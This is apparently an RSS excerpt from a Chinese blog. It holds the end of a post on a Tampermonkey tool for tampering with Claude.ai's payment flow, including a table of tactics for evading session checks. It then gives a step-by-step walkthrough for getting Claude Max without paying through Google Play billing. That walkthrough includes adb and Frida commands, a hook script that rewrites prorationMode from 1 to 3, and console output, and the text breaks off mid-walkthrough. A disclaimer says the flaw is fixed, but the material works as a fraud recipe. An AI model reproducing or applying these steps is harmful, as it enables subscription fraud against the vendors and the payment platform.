&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。&lt;/strong&gt; 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。&lt;/p&gt;
&lt;h3 id="五种常见的会话失效原因"&gt;五种常见的会话失效原因
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;① SK Cookie 过期（最常见）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude.ai 使用 &lt;code&gt;__Secure-next-auth.session-token&lt;/code&gt;（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。&lt;/p&gt;
&lt;p&gt;如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② Session 被踢（多端互踢）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ 代理 IP 切换（Session-IP 绑定）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 &lt;code&gt;45.67.xx.xx&lt;/code&gt; 创建的，现在请求来自 &lt;code&gt;89.12.xx.xx&lt;/code&gt;？验证失败。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;④ Stripe PaymentIntent 过期&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;即使 session 没问题，Stripe 侧也有自己的超时机制。&lt;code&gt;PaymentIntent&lt;/code&gt; 和对应的 &lt;code&gt;client_secret&lt;/code&gt; 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为&amp;quot;发生了意外错误&amp;quot;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⑤ Checkout Session 并发冲突&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 &lt;code&gt;checkout session&lt;/code&gt; 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。&lt;/p&gt;
&lt;h3 id="应对策略"&gt;应对策略
&lt;/h3&gt;&lt;p&gt;针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;从攻击者/自动化角度看：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;策略&lt;/th&gt;
 &lt;th&gt;做法&lt;/th&gt;
 &lt;th&gt;解决的问题&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Session 预检&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;进支付页之前先调 &lt;code&gt;/api/auth/session&lt;/code&gt; 确认 cookie 存活&lt;/td&gt;
 &lt;td&gt;Cookie 过期&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;快进快出&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;打开支付页后立刻完成填写和提交，压缩停留时间&lt;/td&gt;
 &lt;td&gt;Intent 超时&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;代理钉住&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支付全流程内锁定同一个代理出口，不允许中途切换&lt;/td&gt;
 &lt;td&gt;IP 绑定&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Cookie 生命周期管理&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;记录每个 cookie 的获取时间，临近 TTL 时主动刷新&lt;/td&gt;
 &lt;td&gt;Cookie 过期&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;错误分类重试&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;检测到&amp;quot;清除旧会话&amp;quot;后标记为 session 失效，重新获取 cookie 再试&lt;/td&gt;
 &lt;td&gt;所有会话类问题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;单账号串行化&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;同一个 org 同时只跑一个支付操作&lt;/td&gt;
 &lt;td&gt;并发冲突&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;从防御者角度看：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。&lt;/p&gt;
&lt;p&gt;但如果要更进一步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session 绑定 + 支付确认二次绑定&lt;/strong&gt;：不光 session 绑 IP，&lt;code&gt;PaymentIntent&lt;/code&gt; 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支付提交时的实时 Session 刷新&lt;/strong&gt;：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是&amp;quot;活跃&amp;quot;的而不仅仅是&amp;quot;未过期&amp;quot;的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常模式检测&lt;/strong&gt;：如果一个 org 短时间内反复出现&amp;quot;session 校验通过 → 进入支付页 → 提交时 session 失效&amp;quot;的模式，说明有人在用自动化工具——标记为可疑行为。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="小结"&gt;小结
&lt;/h3&gt;&lt;p&gt;这个&amp;quot;验证失败&amp;quot;的报错看着烦人，但它揭示了一个重要的架构细节：&lt;strong&gt;Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。&lt;/strong&gt; 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。&lt;/p&gt;
&lt;p&gt;理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七写在最后"&gt;七、写在最后
&lt;/h2&gt;&lt;p&gt;焚决这个东西，技术上说穿了就是一个&lt;strong&gt;客户端状态注入&lt;/strong&gt;工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是&lt;strong&gt;前端与后端之间那条看不见的信任边界&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anthropic 的前端支付流由一个可篡改的 API 响应驱动&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEPA 直接借记在清算完成前不验证账户真实性&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从&amp;quot;修改一个 JSON 字段&amp;quot;到&amp;quot;零元订阅 Claude Max&amp;quot;的完整攻击链。&lt;/p&gt;
&lt;p&gt;而这类&amp;quot;信任边界错位 + 异步确认间隙&amp;quot;的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工具可以被修复，模式值得被记住。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="相关阅读"&gt;相关阅读
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;GPT Plus 订阅漏洞深度分析 — Google Play Billing 鉴权缺失导致 0 元订阅&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-receipt-vulnerability-2026/" target="_blank" rel="noopener"
 &gt;GPT Plus 收据复用漏洞 — iOS 收据验证缺陷&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/manual-sec-20260519-cloudflare-billing-race-condition/" target="_blank" rel="noopener"
 &gt;Cloudflare 计费逻辑缺陷 — 请求重放绕过订阅支付&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;标签&lt;/strong&gt;: #Claude #支付安全 #API劫持 #客户端安全 #SEPA #Tampermonkey #漏洞分析 #焚决&lt;/p&gt;</description></item><item><title>Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max</title><link>https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/</link><pubDate>Wed, 22 Jul 2026 10:00:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 免责声明&lt;/strong&gt;：本文仅供安全研究与技术讨论。本文描述的漏洞&lt;strong&gt;已于 2026 年 7 月被修复&lt;/strong&gt;。任何利用类似手段对正式服务进行未授权操作属违法行为，后果自负。&lt;/p&gt;
&lt;p&gt;部分思路来自 &lt;a class="link" href="https://cctest.ai" target="_blank" rel="noopener"
 &gt;cctest.ai&lt;/a&gt; 作者，在此致谢。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="0x00-背景20-的-pro250-的-max中间差了一个-hook"&gt;0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook
&lt;/h2&gt;&lt;p&gt;Claude 的 Android 客户端走 Google Play 内购（Google Play Billing Library）处理订阅。价格梯度大概是这样：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;方案&lt;/th&gt;
 &lt;th&gt;月费&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Pro&lt;/td&gt;
 &lt;td&gt;$20&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Max 5x&lt;/td&gt;
 &lt;td&gt;$125&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Max 20x&lt;/td&gt;
 &lt;td&gt;$250&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;正常流程：你是 Pro 用户，想升级到 Max，Google Play 会按剩余天数计算差价，立刻从你的信用卡上扣。&lt;/p&gt;
&lt;p&gt;但如果我告诉你，有个参数决定了 Google Play 对这笔&amp;quot;升级&amp;quot;收不收钱呢？&lt;/p&gt;
&lt;p&gt;而且这个参数，就是 Android Bundle 里一个普普通通的 &lt;code&gt;putInt&lt;/code&gt; 调用？&lt;/p&gt;
&lt;h2 id="0x01-prorationmodegoogle-play-里最被低估的攻击面"&gt;0x01 prorationMode：Google Play 里最被低估的攻击面
&lt;/h2&gt;&lt;p&gt;Google Play Billing Library 在处理订阅升/降级时，有个参数叫 &lt;code&gt;prorationMode&lt;/code&gt;（比例分配模式），定义在 &lt;code&gt;BillingFlowParams.SubscriptionUpdateParams&lt;/code&gt; 里。它决定了用户切换订阅方案时的扣费逻辑：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;值&lt;/th&gt;
 &lt;th&gt;常量名&lt;/th&gt;
 &lt;th&gt;行为&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;0&lt;/td&gt;
 &lt;td&gt;UNKNOWN_SUBSCRIPTION_UPGRADE_DOWNGRADE_POLICY&lt;/td&gt;
 &lt;td&gt;未知&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;WITH_TIME_PRORATION&lt;/td&gt;
 &lt;td&gt;按剩余时间折算差价，&lt;strong&gt;立刻扣费&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2&lt;/td&gt;
 &lt;td&gt;CHARGE_PRORATED_PRICE&lt;/td&gt;
 &lt;td&gt;按比例收取差价&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;WITHOUT_PRORATION&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;立刻升级，本周期不收费，下个周期按新价扣&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;5&lt;/td&gt;
 &lt;td&gt;CHARGE_FULL_PRICE&lt;/td&gt;
 &lt;td&gt;立刻全额扣费&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;6&lt;/td&gt;
 &lt;td&gt;DEFERRED&lt;/td&gt;
 &lt;td&gt;延迟到下个周期才生效&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;重点关注 &lt;code&gt;3 — WITHOUT_PRORATION&lt;/code&gt;：Google 官方文档里写得很清楚，这个模式的设计意图是&amp;quot;让用户立刻获得高级功能，但推迟扣费到下个计费周期&amp;quot;。本来是给某些业务场景用的（比如试用期升级），但如果被滥用……&lt;/p&gt;
&lt;p&gt;Claude 的客户端代码里，升级订阅时用的是模式 &lt;code&gt;1&lt;/code&gt;（WITH_TIME_PRORATION），也就是正常的按比例扣差价。它通过 &lt;code&gt;Bundle.putInt(&amp;quot;prorationMode&amp;quot;, 1)&lt;/code&gt; 把这个值传给 Google Play 的计费 Activity。&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;Bundle.putInt&lt;/code&gt; 调用发生在客户端侧。客户端侧的东西，你懂的。&lt;/p&gt;
&lt;h2 id="0x02-攻击链frida-一条龙"&gt;0x02 攻击链：Frida 一条龙
&lt;/h2&gt;&lt;p&gt;整个攻击链其实非常简洁，所有操作都在模拟器上完成。用到的工具：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MuMu 模拟器&lt;/strong&gt;（x86_64，因为要跑 Frida server 的 x86 版本）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KernelSU&lt;/strong&gt;（MuMu 自带，用来获取 root）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Frida 17.16.0&lt;/strong&gt;（动态插桩框架）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特定版本的 Claude APK&lt;/strong&gt;（v1.260330.27，在 Uptodown 可以下到历史版本）&lt;/li&gt;
&lt;li&gt;一个能扣 $20 的美区 Google 账号&lt;/li&gt;
&lt;li&gt;家宽 IP（避免 Google 风控拦截）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;步骤拆解：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：搭环境&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;MuMu 模拟器装好后，用它自带的 Google 安装器装上 Google 套件 + Play 商店。打开 KernelSU Manager 给 Shell 授权 root。这步没啥技术含量，MuMu 对 Google 服务兼容性比 LDPlayer 好不少。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：准备 Claude APK&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里有个前置问题——你不能直接从 Play 商店装 Claude。&lt;/p&gt;
&lt;p&gt;现在的 Android 应用普遍使用 App Bundle（AAB）格式发布，Play 商店下发的是 split APK：base.apk 加一堆按设备拆分的 config splits（ABI、密度、语言）。x86_64 模拟器拿到的 splits 跟 ARM 真机不一样，而且 split APK 不能直接 &lt;code&gt;adb install&lt;/code&gt; 侧载。&lt;/p&gt;
&lt;p&gt;所以需要一个&lt;strong&gt;经过修补、移除了 split 限制的完整 APK&lt;/strong&gt;。实测可用的版本是 &lt;code&gt;v1.260330.27&lt;/code&gt;，从 Uptodown 等第三方市场可以找到历史版本的完整包。关键词：“已修补 split 限制”——就是把 App Bundle 重新打包成单个 APK，绕过 Play 商店的分发限制。&lt;/p&gt;
&lt;p&gt;还有一个连锁问题：修补过的 APK 签名跟 Google Play 原版不一致（相当于 debug 签名），&lt;strong&gt;Google OAuth 登录会直接拒绝&lt;/strong&gt;——点 “Continue with Google” 没反应或者报错。解决办法很简单：用邮箱登录（Continue with email），输入 Claude 账号的邮箱和密码，完全不走 OAuth。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：部署 Frida&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb push frida-server-17.16.0-android-x86_64 /data/local/tmp/frida-server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb shell chmod &lt;span class="m"&gt;755&lt;/span&gt; /data/local/tmp/frida-server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb shell su -c &lt;span class="s2"&gt;&amp;#34;setenforce 0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb shell su -c &lt;span class="s2"&gt;&amp;#34;/data/local/tmp/frida-server -D &amp;amp;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;MuMu 有个坑：它的 ADB 端口不是标准 5555，而是 5557（多开的话 5559、5561 递增）。另外 MuMu 用 houdini 做 ARM 翻译，所以 Frida 必须用 &lt;strong&gt;attach 模式&lt;/strong&gt;，不能用 spawn 模式（&lt;code&gt;-f&lt;/code&gt; 参数），否则 houdini 翻译层直接 SIGSEGV 崩掉。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四步：注入 Hook&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;核心的 hook 脚本其实就干了一件事——拦截 &lt;code&gt;Bundle.putInt&lt;/code&gt;，把 key 为 &lt;code&gt;prorationMode&lt;/code&gt; 的值从 1 改成 3：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;android.os.Bundle&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Bundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putInt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;int&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;prorationMode&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[*] 拦截 prorationMode: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; → 3 [WITHOUT_PRORATION]&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 就这一行，价值 $230/月
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意启动方式——必须先手动打开 Claude，再用 &lt;code&gt;-H&lt;/code&gt; 连接（而不是 &lt;code&gt;-U&lt;/code&gt;），因为 MuMu 的 USB 层跟标准 Android 不一样。而且 Frida 的进程名参数必须用&lt;strong&gt;显示名 &lt;code&gt;Claude&lt;/code&gt;&lt;/strong&gt;，不能用包名 &lt;code&gt;com.anthropic.claude&lt;/code&gt;——MuMu 上 &lt;code&gt;-H&lt;/code&gt; 模式下 Frida 按包名是找不到进程的，只认 app_process 里注册的显示名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb forward tcp:27042 tcp:27042
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;frida -H 127.0.0.1:27042 Claude -l hook-replacement-mode.js
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 注意：用 com.anthropic.claude 会报 &amp;#34;unable to find process&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里还有个细节：脚本额外拦截了 &lt;code&gt;SentryNdk.loadNativeLibraries&lt;/code&gt; 和 &lt;code&gt;SentryAndroidNdk&lt;/code&gt; 的初始化方法，因为 Sentry 的 native crash 上报模块在 houdini 翻译层下也会崩。不拦截的话 App 直接闪退。&lt;/p&gt;
&lt;p&gt;除了核心的 prorationMode 拦截，脚本还 hook 了 &lt;code&gt;PurchaseReceipt&lt;/code&gt; 的构造函数，打印 &lt;code&gt;purchase_token&lt;/code&gt; 和 &lt;code&gt;organization_id&lt;/code&gt;。这个 org_id 是 Anthropic 后端用来标识组织/用户的唯一 ID（格式类似 &lt;code&gt;6a085918-8383-44e5-9538-c4c81c6e122b&lt;/code&gt;），在规模化操作时用于追踪哪个 Claude 账号绑定了哪笔 Google Play 订阅——一个 Google 账号只能给一个 Claude 账号开通订阅，org_id 就是这个映射关系的 key。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第五步：走一遍正常支付&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;hook 注入成功后（控制台会显示 &lt;code&gt;Frida Hook 注入成功!&lt;/code&gt;，App 里也会弹 Toast），正常操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用邮箱登录 Claude 账号（不能用 Google OAuth，原因见上）&lt;/li&gt;
&lt;li&gt;在模拟器里绑定支付卡（需要能扣 $20 的真实/虚拟信用卡）&lt;/li&gt;
&lt;li&gt;通过 Google Play 订阅 Pro（$20/月）—— 这笔钱是真扣的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第六步：触发升级&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pro 订阅成功后，直接在 App 里点&amp;quot;升级到 Max&amp;quot;。这时候 hook 就发挥作用了：&lt;/p&gt;
&lt;p&gt;控制台输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] 拦截 prorationMode: 1 [WITH_TIME_PRORATION] → 3 [WITHOUT_PRORATION]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;同时 &lt;code&gt;PurchaseReceipt&lt;/code&gt; 的 hook 会打印出新订阅的 org_id，确认升级已经走通了 Anthropic 后端。&lt;/p&gt;
&lt;p&gt;Google Play 的计费页面会显示：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;产品：Claude Max&lt;/li&gt;
&lt;li&gt;价格：$250.00/month（日区显示 JP¥42,500/month）&lt;/li&gt;
